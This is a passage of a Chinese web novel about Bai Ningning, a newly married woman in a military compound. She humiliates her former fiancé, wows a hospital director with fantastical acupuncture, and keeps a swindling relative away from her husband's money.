他梗着脖子,死死地瞪着白凝凝,喉咙里像是卡了石头,一个字都吐不出来。 白凝凝也不急,就那么静静地看着他,眼神里的轻蔑和嘲弄,比任何话语都更伤人。 “向阳!”傅建军急了,低声喝道,“叫人!” 傅向阳的身体剧烈地颤抖着,屈辱的泪水在眼眶里打转。他看着眼前这个曾经对他百依百顺、逆来顺受的女人,如今却高高在上地俯视着他,主宰着他全家的命运。 巨大的落差和悔恨,几乎将他淹没! 最终,他从牙缝里,一个字一个字地挤了出来: “小……婶……婶……” 那声音,比蚊子哼哼还小,充满了无尽的屈辱和不甘。 白凝凝却像是没听清,掏了掏耳朵:“什么?风太大,听不见。大点声,让我听听你对长辈的尊重。” “你!”傅向阳气得双目赤红。 “向阳!大声点!”傅建军恨铁不成钢地吼道。 在父亲的威压和白凝凝戏谑的目光下,傅向阳终于崩溃了,他闭上眼睛,用尽全身力气,嘶吼出声: “小婶婶!” 声音之大,几乎要把房顶掀翻。 “嗯,真乖。”白凝凝满意地笑了,像是在夸奖一个听话的晚辈。她挥了挥手,像是驱赶苍蝇,“行了,滚吧。明天早上,记得到我家门口履行第二个条件。” 傅向阳再也待不下去,拉开门,头也不回地冲进了夜色里。 周玉芬和傅建军也像斗败的公鸡,灰溜溜地走了。 门被关上,隔绝了外面的世界。 白凝凝脸上的笑容瞬间消失,取而代之的是一丝疲惫。她走到桌边,看着那叠错误的资料,正准备开始工作,楼梯上传来了脚步声。 傅清寒不知何时已经拔掉了银针,穿上了裤子,赤着上身走了下来。 他的黑眸深沉如海,静静地看着她,眼神里带着白凝凝看不懂的复杂情绪。 “你懂德语?”他开口问道,声音有些沙哑。 “会一点。”白凝凝淡淡地回答。 “刚才为什么不让我出来?”他走到她身边,高大的身影带来强烈的压迫感。 白凝凝抬起头,迎上他的目光,神情坦然:“这是我的战场,是我和他们之间的恩怨。用不着你插手。” 她顿了顿,补充道:“而且,我需要立威。让他们知道我白凝凝,不是他们能随意拿捏的软柿子。以后也能省去你不少麻烦。” 傅清寒沉默了。 他看着眼前这个身形纤细、却仿佛蕴含着无穷力量的女人。她算计人心,她睚眦必报,她手腕强硬,但她却又把一切都揽在自己身上,说是不想给他添麻烦。 这个女人,到底有多少面? 许久,他从她手中拿过那份资料,又从自己的书房里拿出了一本厚厚的德语词典,放在她手边。 “速战速决。”他扔下四个字。 然后,他没有上楼,而是拉过一张椅子,就坐在了她的对面。 他什么也没做,就那么静静地坐着,像一尊沉默的守护神,陪着她。 窗外夜色正浓,室内灯光温暖。 一个奋笔疾书,一个静默守护。 空气中,一种名为“默契”的东西正在悄然发酵。 第二天清晨,当白凝凝顶着两个黑眼圈,将一份字迹工整、翻译精准的全新德语稿件交给前来取件的傅建军时,整个军区大院都被一声响亮的、充满了屈辱的呐喊声惊醒了! “我是忘恩负义的白眼狼——我配不上白凝凝——!” 傅向阳的嘶吼声,响彻大院。 无数扇窗户被推开,无数道探究的目光汇聚而来。 一个足以颠覆所有人认知的八卦,如风暴般即将在整个军区大院里,彻底引爆! 第7章 傅清寒的女人你也敢动(上) 傅向阳的吼声像一颗炸雷,在宁静的清晨炸响。 “我是忘恩负义的白眼狼……” “我配不上白凝凝……” 他每喊一声,脸上的血色就褪去一分。无数扇窗户后面,是邻居们探究、鄙夷、幸灾乐祸的目光。那些目光像针一样,把他钉在耻辱柱上,无处可逃。 他的骄傲,他的自尊,在这一刻被白凝凝踩得粉碎! 傅家主宅,周玉芬听到儿子的声音,心疼得差点晕过去,用淬毒的眼神死死盯着站在门口的白凝凝。 白凝凝却仿佛没看到她吃人的目光,只是好整以暇地倚在门框上,手里还端着一杯热气腾腾的麦乳精,悠闲地看着这场好戏。 当傅向阳喊完第三遍,声音嘶哑、失魂落魄地站着时,一个娇弱的身影忽然从人群里冲了出来,扑到他身边,哭得梨花带雨。 “向阳哥!向阳哥你别这样!你为什么要这么作践自己!” 来人正是楚小小。她穿着一身洁白的连衣裙,画着精致的淡妆,此刻哭起来更是我见犹怜,瞬间吸引了所有人的同情。 她抬起泪眼,控诉地看着白凝凝:“凝凝姐!我知道你心里有气,可你也不能这么逼向阳哥啊!他已经知道错了,你就不能大度一点,原谅他吗?你这么做,跟那些乡下泼妇有什么区别?!” 好一朵盛世白莲! 三言两语,就把白凝凝塑造成了一个得理不饶人、心胸狭隘的恶毒女人,而她和傅向阳,则成了被欺负的苦情主角。 周围的议论声果然开始转向了。 “就是啊,得饶人处且饶人嘛。” “这白凝凝也太狠了,好歹是傅向阳不要的,现在嫁给了小叔,还这么不依不饶。” “看把向阳逼成什么样了,楚小小这姑娘倒真是善良。” 白凝凝听着这些议论,嘴角的冷笑越来越深。 她还没开口,一个冷硬如冰的声音却从她身后响起。 “我傅清寒的女人,什么时候轮到你们来置喙?” 傅清寒不知何时出现在了门口,他穿着一身笔挺的军装,肩章在晨光下闪着金光。他身形高大,气势慑人,只是往那一站,周围的议论声瞬间消失了! 他那双锐利的鹰眸缓缓扫过众人,最后落在了哭哭啼啼的楚小小身上。 “乡下泼妇?”他声音不大,却带着千钧的重量,“我妻子白凝凝,是烈士之后,出身清白,品性高洁。倒是你,”他的目光像X光一样,把楚小小从头到脚扫了一遍,“小小年纪,心思不纯,挑拨离间,搬弄是非。是谁给你的胆子,敢在我家门口,对我的人指手画脚?” 楚小小的哭声戛然而止,她被傅清寒那冰冷的眼神吓得浑身一哆嗦,脸色瞬间惨白。她没想到,这个传说中不近人情的活阎王,竟然会为了白凝凝这个乡下丫头出头! 傅清寒的目光又转向面如死灰的傅向阳:“还有你。男子汉大丈夫,敢做不敢当。既然悔婚,就要承担后果。在这里哭哭啼啼,像个什么样子?我们傅家的脸,都被你丢尽了!” 他往前走了一步,高大的身影将白凝凝完全护在身后,形成一个绝对保护的姿态。 “我再说一遍,”他环视全场,声音斩钉截铁,“白凝凝现在是我的妻子,是你名正言顺的小婶婶。以后谁再敢对她不敬,就是跟我傅清寒过不去!后果,你们自己掂量!” 全场死寂! 所有人都被傅清寒这番霸气侧漏的宣言震住了! 这哪里是传言中冷酷无情、不近女色的活阎王?这分明就是个护妻狂魔啊! 傅向阳和楚小小的脸,此刻已经不是白,而是青了。他们成了全大院最大的笑话! 周玉芬更是气得浑身发抖,却一个字也不敢反驳。 白凝凝站在傅清寒身后,看着他宽阔可靠的背影,心中涌起一股异样的暖流。这个男人,虽然冷,却是真的把她当成了“自己人”。 这场交易,似乎……比她想象的要划算。 傅清寒看她眼睛亮晶晶的,平时一丝不苟紧紧抿着的唇角也不禁勾了一下,凑到凝凝耳边小声道“ 怎么?我替你出头?高兴了?他们侮辱你就是侮辱我,别误会了。” 凝凝看他故作严肃,但唇角的那一抹笑没能逃过她的眼,眨了眨眼,一副清纯无辜的模样:“误会?夫妻一体,维护我的脸面难道不是天经地义的事吗?你说的误会到底是什么啊……” 傅清寒见她眨眼的娇俏模样,心里微微一动,却别开眼不再看她,“没什么……” 凝凝见他这样也不再追问。 这天上午,在无数扇窗户后面,是邻居们探究、鄙夷、幸灾乐祸的目光。傅向阳的脸,彻底丢尽了。楚小小那套“善良解语花”的表演,也在傅清寒冰冷的维护下,成了一场拙劣的独角戏。 然而,事情并没有就此结束。 傅建军一家刚灰头土脸地回到主宅,还没来得及关上门喘口气,傅老爷子的警卫员就面无表情地走了进来。 “主任,夫人,向阳少爷,老爷子请各位去客厅。” 警卫员又转向刚刚进门的傅清寒和白凝凝,态度恭敬了许多:“团长,夫人,老爷子也请二位过去。” 傅家客厅里,气氛凝重得几乎能滴出水来。 傅老爷子端坐在主位的太师椅上,面沉如水,手中的拐杖一下一下地轻点着地面,每一下,都敲在傅建军、周玉芬和傅向阳的心上。 “向阳!”傅老爷子终于开口,声音不怒自威,“今天早上,是怎么回事?” 傅向阳涨红了脸,支支吾吾说不出话。 “是我管教不严!”傅建军连忙站出来,低头认错。 “哼!”傅老爷子冷哼一声,目光却越过他们,落在了白凝凝身上。他脸上的怒意瞬间消散,化为了一股温和的、带着歉意的安抚。 “凝凝啊,你过来,到爷爷这儿来。”他对着白凝凝招了招手。 白凝凝在众人复杂的目光中,走到了老爷子身边。 傅老爷子拉起她的手,轻轻拍了拍,然后抬起眼,目光如电,扫过对面站着的傅向阳和周玉芬,一字一句,清晰无比地说道: “我今天把话说清楚。白凝凝,现在是傅清寒明媒正娶的妻子,是我们傅家名正言顺的孙媳妇!更是你傅向阳,名正言顺的——小婶婶!” “小婶婶”这三个字,他咬得极重! 周玉芬的脸色,瞬间变得极其难看! 虽然白凝凝已经和傅清寒领证了,但从老爷子嘴里说出来完全就是另一回事了。 她最得意的儿子,如今要对着一个自己最看不起的孤女,矮上一辈! 傅向阳更是羞愤欲死,拳头捏得咯咯作响。 第8章 傅清寒的女人,你也敢动?(下) 傅老爷子看都懒得看他们一眼,继续对白凝凝温言道:“以后,在这个家里,谁要是再敢对你大小声,或者不守辈分规矩,就是不把我这个老头子放在眼里!凝凝,你是我亲自点头进门的,有爷爷给你撑腰,谁也不敢欺负你!” 这番话,名为安抚,实为警告!是当着所有人的面,为白凝凝的身份,进行了一次最权威的“官方认证”! 周玉芬和傅向阳的脸,被打得火辣辣的疼。 安抚完白凝凝,傅老爷子看着她那副虽然倔强、却难掩孤单的模样,心中又是一阵感叹和愧疚。他觉得,有必要让傅清寒,也让这个家里的某些人,知道这孩子到底经历了什么。 他叹了口气,继续说道:“凝凝啊,说起来,也是我们这些做长辈的,没照顾好你。这些年,委屈你了。” 他当着所有人的面,缓缓地,将那段尘封的往事,揭了开来。 “当年你父母牺牲后,部队联系你们白家的亲戚……你那个大伯,哭天抢地,说养不起你。你那个姑妈,更是嫌你‘拖油瓶’,怕影响她女儿的前途……” “一群鼠目寸光、自私自利的混账东西!你父亲为国捐躯,他们不以为荣,反以为累!” 傅老爷子每说一句,傅清寒那双深邃的黑眸里,愈发深沉。 他常年在部队,不是在外执行任务就是在外驻扎,所以家里收留凝凝的事他也只是在家书上偶尔听过。 她是傅向阳的指婚对象,一个可怜巴巴的孤女,这是他之前对凝凝的唯一印象了。这是他第一次知道,她那看似平静的过往之下,竟是如此不堪的背弃和伤害。 而且她的父母都是为国捐躯的英雄。 傅清寒看向白凝凝,现在她是自己的妻子,不管两人是基于何种目的才走到一起,但这是不可忽略的事实。 也许……自己之前对她太过苛责和冷漠了。 而傅向阳,听着这些话,脸上也是一阵青一阵白。他当然知道凝凝的父母是为国捐躯的英雄,但他们也没做什么吧……不就是暂时“保管”了她家里的抚恤金…… 至于悔婚……虽然白凝凝长得漂亮,盘靓条顺,但楚小小的爸是副局长,家世是白凝凝一介孤女拍马都赶不上的…… 女人漂亮固然重要,但能帮到自己才是实打实最重要的。 人往高处走,自己有什么错? 傅老爷子最后看着白凝凝,眼神里满是慈爱和坚定:“所以啊,凝凝,都过去了。从今天起,你就是傅家的人,是清寒的妻子。谁再敢让你受半分委屈,我第一个饶不了他!” 说完,他的目光,意有所指地,落在了傅建军的身上。 傅建军心中一凛,立刻明白过来。他知道,那份关乎他仕途的德语翻译稿,还在白凝凝手上。老爷子这是在敲打他,让他摆正自己的位置! 他立刻上前一步,脸上挤出比哭还难看的笑容,对着白凝凝,恭恭敬敬地、深深地鞠了一躬,那声“弟妹”,叫得前所未有的“真诚”。 在他的这番表态下,傅老爷子那边终于算是勉强“过关”了,下午他就拿着那份“救命粮”一样的翻译稿,通过军线紧急传真到了部里,再由部里转交给了德国方面。 傅建军的委屈总算是没白受,第二天上午,好消息就传了回来。 德国专家看到这份堪称完美的翻译稿,怒气全消,大加赞赏,不仅立刻决定重启合作,还指名道姓,希望能在接下来的合作中,邀请这位“德语水平极高、专业知识扎实”的翻译,担任项目的首席翻译顾问。 他的危机,不仅解除了,还变成了大功一件! 他立刻成了单位里的红人,被领导大大地表扬了一番。 而“傅家那个新娶的小儿媳,是个深藏不露的德语天才”这个消息,也像长了翅膀一样,飞速传遍了整个京市大院的高层圈子。 白凝凝一夜之间,从一个“被退婚的可怜孤女”,变成了“神秘莫测的大佬夫人”。 傅家主宅,周玉芬接到无数恭喜和打探的电话,脸上的表情比吃了苍蝇还难看。这些人表面是羡慕她有个好“弟妹”,其实都是来看她笑话的! 她狠狠地摔了电话,气得在客厅里团团转。 “不行!绝对不能让那个小贱人这么得意下去!她现在是得意了,可别忘了,清寒那身体……她就是个活寡妇!等时间一长,我看她还怎么笑得出来!” 忽然她想到昨天凝凝提起的什么春宵一刻值千金,小荡妇……肯定是装的……傅清寒什么情况家里还能不知道? 他但凡行一点,他那样的条件加上傅家的家世,能现在还在打光棍? 所以事实就是,白凝凝这个小贱人一定是打肿脸充胖子……是的,就是这样,周玉芬恶毒地猜测,让她飘去吧,看她能得意多长时间。 就在这时,傅向阳失魂落魄地走了进来。 “妈,小小……小小她家里,好像出事了。” “出事?出什么事?”周玉芬不耐烦地问。 “我听说,小小的爸爸,楚副局长,好像因为‘作风问题’,被人举报了……现在已经被纪委的人带走调查了!” 周玉芬一愣! 楚副局长被调查了?! 她之所以那么看好楚小小,不就是看中了她父亲的权势吗?现在靠山倒了,那还有什么价值? 而另一边,白凝凝刚送走心满意足来道谢的傅建军,正准备上楼补个觉,傅清寒却叫住了她。 “跟我去个地方。” “去哪?” “军区总医院。”傅清寒的眼神深邃,“院长想见你。” “院长?” “是,别紧张。我把你的事告诉他了。他只是想见见你。而且你有医术,不该明珠蒙尘。”他说得坦诚,一双寒星一样的眸子干净而坚定。 白凝凝心中一动。她知道,她私下治疗傅清寒这件事,不可能永远成为秘密。而军区总医院的院长,正是当初断定傅清寒“绝嗣”的权威。 这既是一次引荐,也是一次……更深层次的考验。 所以这一趟,既去打那位院长的脸,也是去证明自己的价值。 第9章 权威?在我面前,不过如此! 军区总医院,特护病房区。 白凝凝跟着傅清寒,走进一间宽敞明亮的办公室。办公室里坐着两个人。 主位上的是一位头发花白、戴着金丝眼镜、气质儒雅的老者,正是军区总医院的院长,国内西医界的权威——李建国。 而在他旁边,坐着一个三十岁左右、穿着白大褂、面容倨傲的年轻男人。当他看到白凝凝时,眼神里瞬间充满了毫不掩饰的轻蔑和敌意。 “清寒,你来了。”李院长站起身,和蔼地笑了笑,但当他的目光落在白凝凝身上时,笑容里便带上了一丝审视和怀疑,“这位就是……弟妹吧?” “李院长,她叫白凝凝。”傅清寒介绍得简洁明了,随即拉过一张椅子,示意白凝凝坐下,自己则像一尊门神站在她身后,表明了力挺的态度。 “胡闹!”没等李院长开口,旁边那个年轻男人就猛地一拍桌子,站了起来! 他指着白凝凝,满脸不屑地对傅清寒说:“傅团长,我敬重你是英雄,但你也不能病急乱投医!你的伤是什么情况,我们医院的专家组已经下了定论,那是不可逆的神经和组织损伤!你怎么能相信一个黄毛丫头的胡言乱语?中医?骗人的把戏罢了!” 他转向李院长,痛心疾首道:“老师!您怎么也由着他胡来?这要是传出去,我们军区总医院的脸面何在?” 白凝凝挑了挑眉,看向这个跳梁小丑。 这是谁?什么都不知道就在这里大放厥词? 哦,想起来了。 原书里,这个男人叫孙立,是李院长的得意门生,也是海归医学博士,心高气傲,一直瞧不起中医。不仅如此,他还是白莲花楚小小的狂热追求者之一,在原剧情里没少帮着她打压原主。 没想到,这么快就对上了。还真是冤家路窄。 “孙医生是吧?”白凝凝还没说话,傅清寒冰冷的声音就先响了起来,“我的人,用不着你来评价。你只需要知道,她一晚上的治疗,比你们医院三年的理疗都有用。” 孙立的脸瞬间涨成了猪肝色! 这是什么话? 这简直是把整个军区总医院的脸都按在地上摩擦! 李院长的脸色也有些挂不住了。他咳嗽了一声,打圆场道:“清寒,别激动。我们今天请弟妹过来,没有恶意,只是……想交流一下。” 他看向白凝凝,语气里带着居高临下的考量:“白小姐,听说你只用几根银针,就让清寒的伤势有了明显好转?恕我直言,这不符合我们已知的医学常识。” “你的常识,不代表就是世界的真理。”白凝凝毫不客气地回敬了一句,眼神清冷而自信,“李院长,西医有西医的精妙,中医有中医的玄奥。你没见过,不代表它不存在。” “好大的口气!”孙立冷笑一声,“说得比唱得好听!你说你行,你拿出证据来!光说不练假把式!” “你要证据?”白凝凝笑了,她站起身,目光在办公室里扫了一圈。 恰在此时,一个护士推着一个移动病床,从门口经过。病床上躺着一个面色痛苦、不住呻吟的军人,他的左腿打着厚厚的石膏。 “王连长这是怎么了?”李院长问道。 护士急忙回答:“报告院长,王连长训练时意外骨折,半个小时前刚做完复位手术。但是……他术后反应特别大,一直喊疼,止痛泵的效果都不好,麻药劲儿一过就疼得受不了。” 机会来了! 白凝凝嘴角一勾,对李院长和孙立说道:“止痛泵都压不住的疼痛,敢不敢让我试试?” 孙立像是听到了天大的笑话:“你?用银针止痛?开什么玩笑!骨折的剧痛是最高级别的疼痛,你以为是头疼脑热?” “敢,还是不敢?”白凝凝不理会他的嘲讽,只是盯着李院长,眼神灼灼。 李院长看着眼前这个气场强大的女孩,又看了看傅清寒那不容置喙的眼神,心中一动。他行医一生,最重实践。如果这女孩真有本事,那对医院、对军队都是好事! 他一咬牙:“好!我准了!小孙,你去做个见证!” “老师!”孙立还想反对,但李院长眼神一厉,他只能不情不愿地闭上了嘴。 病房里,王连长疼得满头大汗,嘴唇都咬破了。 “疼……疼死我了……” 孙立拿着病历卡,在一旁冷眼旁观,等着看白凝凝的笑话。 白凝凝却看也不看他,径直走到病床前,对王连长温声道:“同志,别怕。我是医生,三分钟,我让你不疼。” 她从随身的布包里取出三根最短的银针,甚至没有去看腿上的伤处,而是直接撩开了王连长的右手衣袖。 在孙立和李院长惊疑的目光中,白凝凝捏住王连长的右手,手指如电,三根银针成品字形,精准地刺入了他手背上三个毫不相关的穴位! 她没有捻转,没有提插,只是将一丝内力,通过银针,注入其中。 “这就……完了?”孙立讥讽道,“隔山打牛吗?连伤处都不碰,你当这是武侠小说?” 然而,他话音未落,病床上原本还在痛苦挣扎的王连长,呻吟声竟然奇迹般地……停止了! 他惊愕地睁大眼睛,感受着自己的左腿。那股撕心裂肺的剧痛,像是被一只无形的大手瞬间抚平了!虽然还有些酸胀感,但那种要命的疼痛,真的消失了! “不……不疼了?”王连长难以置信地喃喃自语,他试着动了动脚趾,脸上露出了狂喜的表情,“真的不疼了!神了!真是神了!” 孙立的讥笑声僵在脸上,他不敢相信自己的眼睛,快步冲上去,检查王连长的各项生命体征。 一切正常!甚至因为疼痛缓解,心率和血压都平稳了下来! “这……这不可能!这不科学!”他失声叫道,世界观受到了前所未有的冲击。 李院长的瞳孔也剧烈地收缩着!他快步上前,亲自检查了王连长的状况,又仔细看了看白凝凝下针的位置。那几个穴位,在中医理论里,确实有疏通经络、活血化瘀的功效,但能达到如此立竿见影、堪比强效吗啡的效果,他行医四十年,闻所未闻! 他看向白凝凝的眼神,彻底变了! 从审视和怀疑,变成了震惊、敬畏和……一丝的狂热! “神乎其技!真是神乎其技啊!”李院长激动得双手都在发抖,“白……白神医!请受老朽一拜!” 说着,他竟真的要对白凝凝这个小辈鞠躬行礼! 白凝凝及时扶住了他:“李院长,不必如此。我只是用了些家传的手艺罢了。” 权威?在她真正的神技面前,不过如此! 傅清寒站在一旁,看着白凝凝在众人震惊的目光中,淡定自若,仿佛做了一件微不足道的小事。他的心,第一次被一种名为“骄傲”的情绪填满了。 这个女人,是他的妻子! 孙立失魂落魄地看着眼前的一切,他知道自己输了,输得一败涂地。 就在这时,白凝凝的目光忽然落在了他的脸上。 “你看我干嘛……”他明显的底气不足。 她看着他,意味深长地开口:“孙医生,我看你印堂发黑、双目无神,眼下青筋浮现,这可不是什么好兆头。” 孙立一愣,随即恼羞成怒:“你什么意思?咒我吗?” 白凝凝摇了摇头,语气平淡却掷地有声:“我只是提醒你,你肾气亏空,肝火过旺,再这么下去不出三个月,你引以为傲的手,恐怕……就再也拿不稳手术刀了。” 此言一出,孙立的脸色,“唰”地一下,变得惨无人色! 因为,只有他自己知道,最近在做高精度缝合手术时,他的手已经开始出现无法控制的……轻微颤抖! 第10章 下跪,求我治你 白凝凝的话像一道晴天霹雳,精准地劈在了孙立最脆弱、最恐惧的神经上! 他的手确实会微颤! 这是他作为一名顶尖外科医生的噩梦!是他藏在心底最深处,不敢对任何人言说的秘密! 他一直以为是最近压力太大休息不好导致的,只要调整一下就会恢复。可现在,这个秘密却被白凝凝一语道破,并给出了一个让他肝胆俱裂的“判决”——三个月后,再也拿不稳手术刀! “你……你胡说八道!你血口喷人!”孙立的反应比刚才看到针灸止痛时还要激烈,他像是被踩了尾巴的猫,瞬间炸毛了,声音尖利而失控。 他的失态,反而印证了白凝凝的话。 李院长是什么人?这么多年的从医生涯早就练就了一颗七窍玲珑心。他看着自己弟子这反常的模样,心里顿时“咯噔”一下,再联想到白凝凝刚才露的那一手,他心中已然信了七八分。 他痛心地看着孙立:“小孙,你……” “我没有!老师,你别信她的鬼话!她就是个妖言惑众的骗子!”孙立还在嘴硬,但额头上不断冒出的冷汗和微微颤抖的嘴唇,已经出卖了他内心的惶恐。 白凝凝却不再看他,只是对李院长淡淡说道:“李院长,中医讲究望闻问切,病气会显于形色。孙医生心高气傲,争强好胜,导致肝火郁结;私生活上恐怕也不太检点,导致肾精亏损。肝肾同源,互相影响,最终损伤了筋脉的控制力。西医查不出来,只会当成是神经性疲劳,但病根不去,只会越来越严重。” 她每说一句,孙立的脸色就白一分。 尤其是那句“私生活不检点”,更是让他心虚到了极点!为了追求楚小小,他最近确实仗着家里有点小钱,经常出入各种高档场合,熬夜喝酒,生活极其不规律…… “言尽于此,信不信由你。”白凝凝说完,转身对傅清寒道,“我们走吧。” 她今天立威的目的已经达到,没必要再跟这种跳梁小丑浪费时间。 “等一下!” 就在白凝凝和傅清寒即将走出门口时,孙立终于崩溃了。 他“噗通”一声,双膝一软,竟然直直地跪了下来! 他朝着白凝凝的背影,声音里带着哭腔和无尽的悔恨与恐惧:“白……白神医!我错了!我有眼不识泰山!求求你,求求你救救我!我的手……我的手不能废啊!” 一个骄傲到骨子里的海归博士,一个刚才还把“骗子”挂在嘴边的西医精英,此刻却像条丧家之犬,跪在地上,卑微地乞求着他最看不起的中医的救赎。 这戏剧性的一幕,让办公室里所有人都倒吸了一口凉气。 白凝凝停下脚步,却没有回头。 她只是冷冷地抛下一句话:“想让我治你?可以。去傅家大院门口,学着傅向阳的样子,自己掌嘴一百下,再大喊一百声‘中医博大精深,我是井底之蛙’。什么时候做到了,再来找我。” 说完,她头也不回地和傅清寒离开了。 她不是圣母,有仇必报是她的原则。孙立刚才对她的羞辱和对中医的蔑视,必须让他用最屈辱的方式偿还! 留下孙立一个人,面如死灰地跪在冰冷的地上,眼中充满了绝望。 回程的吉普车上,傅清寒亲自开着车,车内一片沉默。 他通过后视镜,看着坐在后座的白凝凝。她靠着窗户,看着外面飞速倒退的街景,侧脸恬静美好,仿佛刚才那个叱咤风云、言辞犀利的女人不是她一样。 这个女人,到底有多少面? “你好像……什么都会。”许久,傅清寒终于开口,声音里带着一丝自己都没察觉到的探究和……欣赏。 白凝凝回过神,笑了笑:“略懂皮毛而已。” 傅清寒的嘴角,几不可见地微微上扬了一下。 “那份德语资料,我已经让大哥上报,稿费和项目顾问的聘金,过几天会直接打到你的卡上。”他顿了顿,又补充道,“医院那边,李院长已经把你的名字报了上去,特聘你为军区总医院的‘特邀专家’,享受主任级待遇,不用坐班,只负责疑难杂症会诊。” 他看着她,黑眸里闪烁着认真的光芒:“白凝凝,来之前我就说了,你有医术,不该明珠蒙尘,应该站在阳光下,被所有人看到。” 白凝凝的心,微微一动。 她本以为,傅清寒只是把她当成一个有利用价值的交易伙伴。却没想到,他竟然在背后,为她铺好了所有的路! 他不是要把她藏在身后,而是真心实意地为自己打算,要让她和他并肩而立,光芒万丈! 这个男人……比她想象中的更好…… “谢谢。”千言万语,最终只化为这两个字。 傅清寒从后视镜里看到她眼中的动容,心中竟也升起一股满足感。他沉声道:“这是你应得的。你不是说我们夫妻一体吗?你的荣耀,就是我的荣耀。以后需要什么,只管跟我说。” “嗯,我知道了。”凝凝点头,心里觉得,也许选择和他结婚真的挺不错的。 车内的气氛,第一次变得如此温馨而融洽,然而,这份温馨并没有持续太久。 当吉普车驶入傅家大院时,却看到傅家主宅门口,停着一辆挂着外地牌照的黑色轿车。 一个穿着讲究、气质精明的中年男人,正和傅建军、周玉芬站在门口说着什么,周玉芬的脸上,是毫不掩饰的谄媚和讨好。 看到傅清寒的车回来,周玉芬眼睛一亮,立刻拉着那个中年男人迎了上来。 “清寒!你回来得正好!”周玉芬的语气里带着一股扬眉吐气的兴奋,“快,我给你介绍一下,是我的亲弟弟,周玉杰。是省城来的大老板!他这次来,是专门来跟你谈一笔大生意的!” 白凝凝的目光,落在了那个叫周玉杰的男人身上。 三角眼、鹰钩鼻,一脸精明相,看人的眼神带着算计。 白凝凝的心中,警铃大作。 原书里,这个周玉杰可不是什么好东西!他就是个打着“做生意”的幌子,到处钻营倒卖、投机倒把的蛀虫!后来更是打着傅清寒的旗号在外面招摇撞骗,最后捅出了一个天大的篓子,不仅把自己送进了监狱,还差点连累了傅清寒! 现在,他又来了! 第11章 我的钱,你一分也别想碰! 周玉芬那一声“大生意”,叫得中气十足,仿佛已经看到了金山银山在向她招手。 她得意地瞥了一眼从车上下来的白凝凝,眼神里的意思很明显:你再能耐又怎么样?还不是个没根基的孤女!我弟弟,那可是省城来的大老板!我们周家,才是能给傅家带来实际利益的! 那个叫周玉杰的男人立刻满脸堆笑地迎了上来,主动伸出手:“哎呀,这位就是清寒吧?久仰大名,久仰大名啊!我是你大嫂的弟弟,周玉杰,你叫我一声玉杰哥就行!” 傅清寒只是冷冷地瞥了他一眼,连手都懒得伸,径直绕过他,走到白凝凝身边,自然而然地接过她手里那个装着银针的布包。 “累了吗?我们回家。”他的语气,温柔得能滴出水来,与对周玉杰的冷漠形成了天壤之别。 周玉杰伸在半空中的手,尴尬地僵住了。 周玉芬的脸也瞬间拉了下来,她快走几步,拦在两人面前,不满地说道:“清寒!你怎么回事?你玉杰哥大老远来看你,你怎么这个态度?” 她又转向白凝凝,把气撒在她身上:“还有你!没看到家里来客人了吗?一点眼力见都没有,还不赶紧去沏茶倒水!” 那颐指气使的模样,仿佛又回到了最初那个高高在上的傅家长媳。 白凝凝还没说话,傅清寒的脸已经彻底冷了下来。 “周玉芬,”他连“大嫂”都懒得叫了,声音里结着冰,“我再说一遍,她是我的妻子,不是你们家里的保姆。想喝茶,自己回家倒去。还有,”他的目光像刀子一样刮过周玉杰,“我傅清寒没有乱认哥哥的习惯。” 这话一出,周玉芬和周玉杰的脸都绿了。 傅建军在一旁看得是心惊肉跳,连忙出来打圆场:“清寒,怎么跟你大嫂说话呢!玉杰也是一番好意……” “好意?”傅清寒冷笑一声,他是什么人?尸山血海里闯出来的,识人的本事比谁都精。周玉杰那一脸的投机倒把相,他一眼就看穿了。 周玉杰眼看硬的不行,连忙换上一副可怜兮兮的面孔,对他姐姐哭诉道:“姐!姐夫!你们可得帮帮我啊!我……我这也是没办法了才来求清寒的!” 他抹了把不存在的眼泪,说道:“我最近在省城跟人合伙开了个厂子,生产电风扇,眼看就要投产了,可资金链突然断了!现在就差二十万!只要这二十万一到,厂子开起来,一年就能赚回几倍的利润!清寒是战斗英雄,国家肯定给了不少奖金,我寻思着,这钱放着也是放着,不如拿出来投资,就当帮我一把,年底我给他双倍分红!” 他说得天花乱坠,周玉芬听得两眼放光。 二十万!双倍分红!那可就是四十万! 她立刻推了推傅清寒,语气急切:“清寒,你听到了吗?这是多好的机会啊!你那笔钱,正好拿出来!咱们都是一家人,肥水不流外人田啊!” 傅向阳也在一旁帮腔:“是啊小叔,我舅舅做生意很有头脑的,你就帮帮他吧!” 他们一家人,一唱一和,仿佛傅清寒的钱已经是他们的囊中之物。 白凝凝在一旁冷眼旁观,心中冷笑。 原书里,傅清寒就是被他们这番花言巧语说动了心。他自己对钱财不在意,又碍于大哥的情面,就把国家奖励给他的那笔用命换来的巨额奖金,全都投给了周玉杰。 结果呢? 周玉杰拿着这笔钱根本没去开厂,而是拿去做当时风险极大的“炒地皮”,最后赔了个血本无归!为了填窟窿,他甚至伪造文件,打着傅清寒的名义去银行骗贷,最终东窗事发,酿成大祸。 这一世,有她白凝凝在,这笔钱,他们一分也别想碰! 没等傅清寒开口,白凝凝忽然上前一步,挡在了丈夫面前。 她看着周玉芬,脸上带着甜美无害的笑容,缓缓开口道: “大嫂,你可能不知道。我们家的钱,现在都归我管。” 此言一出,全场皆静。 周玉芬愣住了:“你……你说什么?” 白凝凝笑得越发灿烂,她晃了晃手上一张薄薄的卡片,是傅清寒早上刚给她的工资卡,慢悠悠地说:“清寒说了他是军人,对理财一窍不通。所以他所有的工资、奖金、津贴,全都上交给我这个妻子来打理。他说,我的决定就是他的决定。” 她转头看向傅清寒,眨了眨眼,问道:“老公,我说的对吗?” 傅清寒看着她那副小狐狸似的狡黠模样,心中的冷硬被融化了一角,他极其自然地配合道:“对。都听你的。” 这两人一唱一和,默契十足,差点把周玉芬气得当场心梗! 周玉杰的脸色也变得极其难看,他没想到傅清寒这个活阎王,竟然是个“妻管严”! 白凝凝的目光又落回到周玉杰身上,笑容不变,说出的话却像刀子一样锋利: “这位周老板,你想借钱可以。不过亲兄弟明算账,更何况我们还隔着一层呢。你先把你的建厂批文、土地使用合同、设备采购清单、还有你的合伙人信息,全都拿出来我看看。我这个人胆子小,二十万不是小数目,总得先评估一下风险,不是吗?” 周玉杰的脸色“唰”地一下,白了! 他那些东西,全都是吹牛的!哪有什么厂子?哪有什么批文?他就是个想空手套白狼的骗子! “你……你一个女人家懂什么!”他色厉内荏地吼道。 “我确实不懂。”白凝凝点点头,话锋一转,“但是,我认识懂的人啊。” 她拿出傅清寒的“大哥大”,当着所有人的面,拨通了一个号码。 电话很快接通了,里面传来李院长精神矍铄的声音:“喂?白神医吗?有什么吩咐?” 